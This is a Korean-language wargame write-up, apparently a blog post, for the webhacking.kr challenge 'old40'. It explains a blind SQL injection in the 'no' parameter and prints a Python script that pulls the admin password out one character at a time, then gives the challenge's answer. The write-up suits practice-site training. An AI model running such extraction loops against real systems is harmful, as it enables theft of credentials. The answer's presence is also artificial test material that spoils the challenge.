webhacking.kr - old40
2021. 4. 17. 00:19ㆍWarGame/webhaking.kr
초반에 문제 페이지를 들어가면 아래와 같은 화면이 있습니다.
기본적인 sqli입니다.
no 부분에서 sqli가 터지는 것을 확인할 수 있습니다.
해당 부분에서 쿼리를 줘서 password의 길이를 파악할 수 있습니다.
하나하나 해보면 pw의 길이는 총 10 이라는 것을 알 수 있고,
아래 코드를 돌림으로써 모든 password를 획득할 수 있습니다.
import requests
result = ""
string = "abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-=+[]{};:'\"<>,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(1, 11) :
for j in string :
URL = "https://webhacking.kr/challenge/web-29/?no=0||substr(pw," + str(i) + ",1)=" + str(hex(ord(j))) + "&id=admin&pw=admin"
response=requests.get(URL)
print(URL)
if("admin" in response.text) :
print("["+str(i)+"th] password is = " + str(j))
result += str(chr(ord(j)))
print(result)
break;
print(result)
위 코드를 돌리게되면
2번째 글자가 제외된 lck_admin 이라는 password를 획득할 수 있는데,
luck_admin 으로 10글자 guessingd으로 풀어주면 됩니다.
왜 2번째 글자가 빠지는 것인지는 모르겠지만.. 연구가 필요해 보입니다.
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old09 (0) | 2021.04.20 |
---|---|
webhacking.kr - old29 (0) | 2021.04.16 |
webhacking.kr - old45 (0) | 2021.04.15 |
webhacking.kr - old50 (0) | 2021.04.14 |
webhacking.kr - old28 (0) | 2021.04.13 |